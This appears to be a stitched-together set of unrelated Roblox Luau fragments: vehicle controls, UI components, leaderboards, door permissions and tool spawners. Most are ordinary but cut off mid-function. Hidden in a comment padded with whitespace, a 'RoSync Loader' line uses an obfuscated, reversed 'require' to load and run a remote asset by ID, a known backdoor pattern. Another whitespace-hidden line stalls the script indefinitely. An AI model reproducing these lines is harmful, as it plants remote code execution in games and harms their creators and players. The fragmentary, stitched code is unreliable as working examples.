Roblox/luau_corpus huggingface dataset:
--[[[Default Controls]]
	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)
		
		ControlLDZone			= 5			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 5			,	-- Controller steering R-deadzone (0 - 100%)
	}
	
	--Control Mapping
	Tune.Controls = {
		
	--Keyboard Controls
		--Mode Toggles
		ToggleTCS				= Enum.KeyCode.T					,
		ToggleABS				= Enum.KeyCode.Y					,
		ToggleTransMode			= Enum.KeyCode.M					,
		ToggleMouseDrive		= Enum.KeyCode.K					,
		
		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,
		
		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,
		
		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.LeftShift			,
		
		--Handbrake
		PBrake					= Enum.KeyCode.LeftControl					,
		
	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.LeftShift			,
		
	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= Enum.KeyCode.DPadUp				,
		ContlrToggleTCS			= Enum.KeyCode.DPadDown				,
		ContlrToggleABS			= Enum.KeyCode.DPadRight			,
	}
--[[
	BaseCharacterController - Abstract base class for character controllers, not intended to be
	directly instantiated.

	2018 PlayerScripts Update - AllYourBlox
--]]
																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																																								wait(999999999999999999999)
local ZERO_VECTOR3 = Vector3.new(0,0,0)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 5 -- cooldown for use of the tool again

BoneModelName = "Omega Souls thunder" -- name the zone model

HumanoidName = "Humanoid"-- the name of player or mob u want to damage
--		child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
		if child.Part1.Name == "HumanoidRootPart" then
			player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
				GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
				GUI:Clone().Parent = player.PlayerGui --// Compact version
				script.Parent.Parent.Body.Lights.RunL.Material = "Neon"
				script.Parent.Parent.Body.Lights.RunR.Material = "Neon"
				script.Parent.Parent.Body.Lights.RunL.BrickColor = BrickColor.new("Deep orange")
				script.Parent.Parent.Body.Lights.RunR.BrickColor = BrickColor.new("Deep orange")
				script.Parent.Parent.Body.Dash.Screen.G.Enabled = true
				script.Parent.Parent.Body.Dash.DashSc.G.Enabled = true
			end
		end
	end
end)

script.Parent.ChildRemoved:connect(function(child)
	if child:IsA("Weld") then
		if child.Part1.Name == "HumanoidRootPart" then
			game.Workspace.CurrentCamera.FieldOfView = 70
			player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
			if player and player.PlayerGui:FindFirstChild("SS3") then
				player.PlayerGui:FindFirstChild("SS3"):Destroy()
				script.Parent.Parent.Body.Lights.RunL.Material = "SmoothPlastic"
				script.Parent.Parent.Body.Lights.RunR.Material = "SmoothPlastic"
				script.Parent.Parent.Body.Lights.RunL.BrickColor = BrickColor.new("Pearl")
				script.Parent.Parent.Body.Lights.RunR.BrickColor = BrickColor.new("Pearl")
				script.Parent.Parent.Body.Dash.Screen.G.Enabled = false
				script.Parent.Parent.Body.Dash.DashSc.G.Enabled = false
			end
		end
	end	
end)
-- Create component
local SelectionButton = Roact.PureComponent:extend(script.Name)

function SelectionButton:init()
    self:setState({
        IsHovering = false;
    })
end

function SelectionButton:render()
    return new('ImageButton', {
        BackgroundTransparency = 1;
        Image = self.props.IconAssetId;
        LayoutOrder = self.props.LayoutOrder;
        ImageTransparency = self.props.IsActive and 0 or 0.5;
        [Roact.Event.Activated] = self.props.OnActivated;
        [Roact.Event.InputBegan] = function (rbx, Input)
            if Input.UserInputType.Name == 'MouseMovement' then
                self:setState({
                    IsHovering = true;
                })
            end
        end;
        [Roact.Event.InputEnded] = function (rbx, Input)
            if Input.UserInputType.Name == 'MouseMovement' then
                self:setState({
                    IsHovering = false;
                })
            end
        end;
    }, {
        Tooltip = new(Tooltip, {
            IsVisible = self.state.IsHovering;
            Text = self.props.TooltipText or '';
        })
    });
end

return SelectionButton
--[[
	Model for the MarketplaceFee (e.g. Hat).
	{
		taxRate = number,
		minimumFee = number,
	}
]]
local MarketplaceFeeInfo = {}

function MarketplaceFeeInfo.mock()
	local self = {}

	self.taxRate = 0.3
	self.minimumFee = 1

	return self
end

function MarketplaceFeeInfo.fromGetResaleTaxRate(newData)
	local MarketplaceFeeInfo = {}

	MarketplaceFeeInfo.taxRate = newData.taxRate
	MarketplaceFeeInfo.minimumFee = newData.minimumFee

	return MarketplaceFeeInfo
end

return MarketplaceFeeInfo
--// This method is to be used with the new filter API. This method takes the 
--// TextFilterResult objects and converts them into the appropriate string
--// messages for each player.
function methods:InternalSendFilteredMessageWithFilterResult(inMessageObj, channelName)
	local messageObj = ShallowCopy(inMessageObj)

	local oldFilterResult = messageObj.FilterResult
	local player = self:GetPlayer()

	local msg = ""
	pcall(function()
		if (messageObj.IsFilterResult) then
			if (player) then
				msg = oldFilterResult:GetChatForUserAsync(player.UserId)
			else
				msg = oldFilterResult:GetNonChatStringForBroadcastAsync()
			end
		else
			msg = oldFilterResult
		end
	end)

	--// Messages of 0 length are the result of two users not being allowed
	--// to chat, or GetChatForUserAsync() failing. In both of these situations,
	--// messages with length of 0 should not be sent.
	if (#msg > 0) then
		messageObj.Message = msg
		messageObj.FilterResult = nil
		self:InternalSendFilteredMessage(messageObj, channelName)
	end
end

function methods:InternalSendSystemMessage(messageObj, channelName)
	local success, err = pcall(function()
		self.eReceivedSystemMessage:Fire(messageObj, channelName)
	end)
	if not success and err then
		print("Error sending internal system message: " ..err)
	end
end

function methods:UpdateChannelNameColor(channelName, channelNameColor)
	self.eChannelNameColorUpdated:Fire(channelName, channelNameColor)
end
-- Decompiled with the Synapse X Luau decompiler.

local u1 = require(game:GetService("ReplicatedStorage").Packages.Fusion);
return function(p1)
	local v1 = {
		Name = "Button", 
		Size = UDim2.fromScale(1, 1), 
		BackgroundTransparency = 1
	};
	local l__GuiButtonState__2 = p1.GuiButtonState;
	v1[u1.OnEvent("InputBegan")] = function(p2)
		if p2.UserInputType == Enum.UserInputType.MouseMovement and p2.UserInputState == Enum.UserInputState.Change then
			l__GuiButtonState__2:set("Hovering");
		end;
		if p2.UserInputType == Enum.UserInputType.MouseButton1 and p2.UserInputState == Enum.UserInputState.Begin then
			l__GuiButtonState__2:set("Pressing");
		end;
		if p2.UserInputType == Enum.UserInputType.Touch and p2.UserInputState == Enum.UserInputState.Begin then
			l__GuiButtonState__2:set("Pressing");
		end;
	end;
	v1[u1.OnEvent("InputEnded")] = function(p3)
		if p3.UserInputType == Enum.UserInputType.MouseMovement and p3.UserInputState == Enum.UserInputState.Change then
			l__GuiButtonState__2:set("None");
		end;
		if p3.UserInputType == Enum.UserInputType.MouseButton1 and p3.UserInputState == Enum.UserInputState.End and l__GuiButtonState__2:get() == "Pressing" then
			l__GuiButtonState__2:set("Hovering");
		end;
		if p3.UserInputType == Enum.UserInputType.Touch and p3.UserInputState == Enum.UserInputState.End then
			l__GuiButtonState__2:set("None");
		end;
		if p3.UserInputType == Enum.UserInputType.Touch and p3.UserInputState == Enum.UserInputState.Change then
			l__GuiButtonState__2:set("None");
		end;
	end;
	v1[u1.OnEvent("Activated")] = p1.OnActivated;
	return u1.New("ImageButton")(v1);
end;
-- Returns the current spread of the weapon
-- @return number
function SpreadSimulator:GetCurrentSpread()
	return self.currentSpread
end
--Change 0 to whatever you want them to start with when they enter the game--

function onPlayerEntered(newPlayer)


	local stats = Instance.new("IntValue")
	stats.Name = "leaderstats"


	local points = Instance.new("IntValue")
	points.Name = "Kill Points" 				--Change "Points" to change the currency name.
	points.Value = 0			--Change the 0 to how much you want people to start with

	points.Parent = stats
	stats.Parent = newPlayer

	local kills = Instance.new("IntValue")
	kills.Name = "Kills"
	kills.Value = 0

	local deaths = Instance.new("IntValue")
	deaths.Name = "Deaths"
	deaths.Value = 0

	kills.Parent = stats
	deaths.Parent = stats
--
--
if(Mousefollow == true) then
PS.Control.Text ="  Controls: true"
elseif(Mousefollow == false) then
PS.Control.Text ="  Controls: false"
end
--[[
		___      _______                _     
	   / _ |____/ ___/ /  ___ ____ ___ (_)__ 
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0

script:WaitForChild("Rev")
script:WaitForChild("Turbo")


if not FE then
	for i,v in pairs(car.Body.ENGINEex:GetChildren()) do
		for _,a in pairs(script:GetChildren()) do
			if v.Name==a.Name then v:Stop() wait() v:Destroy() end
		end
	end
	for i,v in pairs(script:GetChildren()) do
		v.Parent=car.Body.ENGINEex
	end
	
	car.Body.ENGINEex.Rev:Play()
	car.Body.ENGINEex.idle:Play()

	
	while wait() do
		local _RPM = script.Parent.Values.RPM.Value
		
		if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end
		car.Body.ENGINEex.Rev.Pitch = (car.Body.ENGINEex.Rev.SetPitch.Value + car.Body.ENGINEex.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2
		car.Body.ENGINEex.Turbo.Pitch = (car.Body.ENGINEex.Turbo.SetPitch.Value + car.Body.ENGINEex.Turbo.SetRev.Value*_RPM/_Tune.Redline)*on^2
		car.Body.ENGINEex.idle.Pitch = (car.Body.ENGINEex.idle.SetPitch.Value + car.Body.ENGINEex.Turbo.SetRev.Value*_RPM/_Tune.Redline)*on^2


		if _RPM == 700 then
		car.Body.ENGINEex.idle.Volume = .1
			car.Body.ENGINEex.Rev.Volume = 0
			
		else
			car.Body.ENGINEex.Rev.Volume = .1
		
			car.Body.ENGINEex.idle.Volume = 0	
		end

	end
else
	local handler = car.AC6_FE_Sounds
	handler:FireServer("newSound","Rev",car.Body.ENGINEex,script.Rev.SoundId,0,script.Rev.Volume,true)
	handler:FireServer("playSound","Rev")
	handler:FireServer("newSound","Turbo",car.Body.ENGINEex,script.Turbo.SoundId,0,script.Turbo.Volume,true)
	handler:FireServer("playSound","Turbo")
	handler:FireServer("newSound","idle",car.Body.ENGINEex,script.idle.SoundId,0,script.Turbo.Volume,true)
	handler:FireServer("playSound","idle")
	
	local pitch=0
	local pitch2=0
	local pitch3=0

	while wait() do
		local _RPM = script.Parent.Values.RPM.Value
		
		if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end
		pitch = (script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2
		pitch2 = (script.Turbo.SetPitch.Value + script.Turbo.SetRev.Value*_RPM/_Tune.Redline)*on^2
		pitch3 = (script.idle.SetPitch.Value + script.idle.SetRev.Value*_RPM/_Tune.Redline)*on^2
		
		handler:FireServer("updateSound","Rev",script.Rev.SoundId,pitch,script.Rev.Volume)
		handler:FireServer("updateSound","Turbo",script.Turbo.SoundId,pitch2,script.Turbo.Volume)
		handler:FireServer("updateSound","idle",script.idle.SoundId,pitch3,script.idle.Volume)

	end
end
-- Make Connection strict
setmetatable(Connection, {
	__index = function(tb, key)
		warn(("Attempt to get Connection::%s (not a valid member)"):format(tostring(key)), 2)
	end,
	__newindex = function(tb, key, value)
		error(("Attempt to set Connection::%s (not a valid member)"):format(tostring(key)), 2)
	end
})
-------------------------
function onClicked()
R.Function1.Disabled = true
R.Function2.Disabled = false
R.BrickColor = BrickColor.new("Institutional white")
N.One1.BrickColor = BrickColor.new("Really black")
N.Four1.BrickColor = BrickColor.new("Really black")
N.One4.BrickColor = BrickColor.new("Really black")
N.One8.BrickColor = BrickColor.new("Really black")
N.Three4.BrickColor = BrickColor.new("Really black")
N.Two1.BrickColor = BrickColor.new("Really black")
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
--// Variables
repeat wait() until Players.LocalPlayer
local Player = Players.LocalPlayer
local petsInMultiDelete = {}
---Drivetrain Initialize
local wDia = 0
local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
	if car.Wheels:FindFirstChild("FL")~= nil then
		table.insert(Drive,car.Wheels.FL)
	end
	if car.Wheels:FindFirstChild("FR")~= nil then
		table.insert(Drive,car.Wheels.FR)
	end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
	if car.Wheels:FindFirstChild("RL")~= nil then
		table.insert(Drive,car.Wheels.RL)
	end
	if car.Wheels:FindFirstChild("RR")~= nil then
		table.insert(Drive,car.Wheels.RR)
	end
end
for i,v in pairs(Drive) do
	if v.Size.x>wDia then wDia = v.Size.x end
end
-- Module Scripts
local moduleScripts = ServerStorage.ModuleScripts
local replicatedModuleScripts = ReplicatedStorage.ModuleScripts
local roundManager = require(moduleScripts.RoundManager)
local gameSettings = require(moduleScripts.GameSettings)
local displayManager = require(moduleScripts.DisplayManager)
local timer = require(replicatedModuleScripts.Timer)
-- list of account names allowed to go through the door. 
permission = {"bluelego07091"}--Put your friends name's here. You can add more.

function checkOkToLetIn(name) 
	for i = 1,#permission do 
		-- convert strings to all upper case, otherwise we will let in, 
		-- "conrad105," and, "builderman," but not, "blast1."
                -- Why? Because, "blast1," is how it is spelled in the permissions.
		if (string.upper(name) == string.upper(permission[i])) then return true end 
	end 
	return false 
end 

local Door = script.Parent

function onTouched(hit) 
	print("Door Hit") 
	local human = hit.Parent:findFirstChild("Humanoid") 
	if (human ~= nil ) then 
		-- a human has touched this door! 
		print("Human touched door") 
		-- test the human's name against the permission list 
		if (checkOkToLetIn(human.Parent.Name)) then 
			print("Human passed test") 
			Door.Transparency = 0.7 
			Door.CanCollide = false 
			wait(4) -- this is how long the door is open 
			Door.CanCollide = true 
			Door.Transparency = 0  
		end 
	end 
end 

script.Parent.Touched:connect(onTouched)
-- See if I have a tool
local spawner = script.Parent
local tool = nil
local region = Region3.new(Vector3.new(spawner.Position.X - spawner.Size.X/2, spawner.Position.Y + spawner.Size.Y/2, spawner.Position.Z - spawner.Size.Z/2),
   Vector3.new(spawner.Position.X + spawner.Size.X/2, spawner.Position.Y + 4, spawner.Position.Z + spawner.Size.Z/2))
local parts = game.Workspace:FindPartsInRegion3(region)
for _, part in pairs(parts) do
	if part and part.Parent and part.Parent:IsA("Tool") then
		tool = part.Parent
		break
	end
end

local configTable = spawner.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
	if configTable:FindFirstChild(configName) then
		configs[configName] = configTable:FindFirstChild(configName).Value
	else
		configs[configName] = defaultValue
	end
end

loadConfig("SpawnCooldown", 20)

if tool then
	tool.Parent = game.ServerStorage
	
	while true do
		-- put tool on pad
		local toolCopy = tool:Clone()
		local handle = toolCopy:FindFirstChild("Handle")
		toolCopy.Parent = game.Workspace
		local toolOnPad = true
		local parentConnection
		parentConnection = toolCopy.AncestryChanged:connect(function()
			if handle then handle.Anchored = false end
			toolOnPad = false
			parentConnection:disconnect()
		end)
		if handle then
			handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
			handle.Anchored = true
		end
		-- wait for tool to be removed
		while toolOnPad do 
			if handle then
				handle.CFrame = handle.CFrame * CFrame.Angles(math.pi/60,math.pi/60,math.pi/60)
			end
			wait() 
		end
		
		-- wait for cooldown
		wait(configs["SpawnCooldown"])		
	end
	
end
-- // Settings
local blood_destroy_delay = 10
local blood_parts_per_hit = 4
--------STAGE LIGHTS--------
game.Workspace.sb1.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sb2.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sb3.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sb4.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.sb5.BrickColor = BrickColor.new(game.Workspace.Lighting.cyandj.Value)
game.Workspace.sb6.BrickColor = BrickColor.new(game.Workspace.Lighting.cyandj.Value)
game.Workspace.post1.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.post2.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.post3.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.post4.Light.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
--	print(Vector)
--	if Vector == Vector3.new(0, 0, 0) then
--		print("Idle")
--	end
	if Vector.z >= -1 and Vector.z < 0 then
		w=true
	else
		w=false
	end
	if Vector.z > 0 then
		s=true
	else
		s=false
	end
	if Vector.x >= -1 and Vector.x < 0 then
		a=true
	else
		a=false
	end
	if Vector.x > 0 then
		d=true
	else
		d=false
	end
	if up then
		rotorSpd(0.6)
		if chg.y<30 then
			chg=chg+Vector3.new(0,2,0)
		end
	elseif dn then
		rotorSpd(0.2)
		if chg.y>-30 then
			chg=chg+Vector3.new(0,-2,0)
		end
	elseif chg.magnitude>1 then
		rotorSpd(0.4)
		chg=chg*0.9
	else
		rotorSpd(0.4)
		chg=Vector3.new(0,1,0)
	end
	if w then
		if inc<max_speed then
			inc=inc+2
		end
		spd.velocity=chg+(engine.CFrame.lookVector+Vector3.new(0,0.3,0))*inc
		gyro.cframe=mouse.Hit
	elseif s then
		if inc >-max_speed then
			inc=inc-2
		end
		spd.velocity=chg+(engine.CFrame.lookVector-Vector3.new(0,0.3,0))*inc
		gyro.cframe=mouse.Hit
	else
		inc=inc*0.9
		spd.velocity=chg+engine.CFrame.lookVector*inc+Vector3.new(0,0,0)
		gyro.cframe=mouse.Hit
	end

	if a then
--Returns whether the given position is under cover
local function UnderObject(pos, l)
	l = l or 120
	-- raycast
	local hit, position = Workspace:FindPartOnRayWithIgnoreList(Ray.new(pos, UpVec * l), ignoreList)
	if hit then
		return hit.Transparency ~= 1 and true or UnderObject(position + UpVec, l - (pos - position).Magnitude)
	else
		return false
	end
end
--- Same as indexing, but uses an incremented number as a key
-- @param Task An item to clean
-- @return int TaskId
function Maid:GiveTask(Task)
	local TaskId = #self.Tasks+1
	self[TaskId] = Task
	return TaskId
end
-- Gradually regenerates the Humanoid's Health over time.

local REGEN_RATE = 1/100 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = .1 -- Wait this long between each regeneration step.
--[[ Last synced 11/11/2020 02:33                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- Create a laser beam from a start position towards an end position
function LaserRenderer.createLaser(toolHandle, endPosition)
	local startPosition = toolHandle.Position

	local laserDistance = (startPosition - endPosition).Magnitude
	local laserCFrame = CFrame.lookAt(startPosition, endPosition) * CFrame.new(0, 0, -laserDistance / 2)

	local laserPart = Instance.new("Part")
	laserPart.Size = Vector3.new(0.2, 0.2, laserDistance)
	laserPart.CFrame  = laserCFrame
	laserPart.Anchored = true
	laserPart.CanCollide = false
	laserPart.Color = Color3.fromRGB(255, 0, 0)
	laserPart.Material = Enum.Material.Neon
	laserPart.Parent = workspace

	-- Add laser beam to the Debris service to be removed & cleaned up
	game.Debris:AddItem(laserPart, SHOT_DURATION)

	-- Play the weapon's shooting sound
	local shootingSound = toolHandle:FindFirstChild("Activate")
	if shootingSound then
		shootingSound:Play()
	end
end

return LaserRenderer
--[=[
	@param name string
	@param enums {string}
	@return EnumList
	Constructs a new EnumList.

	```lua
	local directions = EnumList.new("Directions", {
		"Up",
		"Down",
		"Left",
		"Right",
	})

	local direction = directions.Up
	```
]=]
function EnumList.new(name: string, enums: EnumNames)
	local scope = Symbol.new(name, nil)
	local enumItems: {[string]: Symbol.Symbol} = {}
	for _,enumName in ipairs(enums) do
		enumItems[enumName] = Symbol.new(enumName, scope)
	end
	local self = setmetatable({
		_scope = scope;
	}, {
		__index = function(_t, k)
			if enumItems[k] then
				return enumItems[k]
			elseif EnumList[k] then
				return EnumList[k]
			else
				error("Unknown " .. name .. ": " .. tostring(k), 2)
			end
		end;
		__newindex = function()
			error("Cannot add new " .. name, 2)
		end;
	})
	return self
end
-- Module for converting player to and from a speeder
local ReplicatedModuleScripts = ReplicatedStorage:FindFirstChild("ModuleScripts")
local PlayerConverter = require(ReplicatedModuleScripts:FindFirstChild("PlayerConverter"))
local RaceManager = require(ReplicatedModuleScripts:FindFirstChild("RaceManager"))
-- Class

local SpringClass = {}
SpringClass.__index = SpringClass
SpringClass.__type = "Spring"

function SpringClass:__tostring()
	return SpringClass.__type
end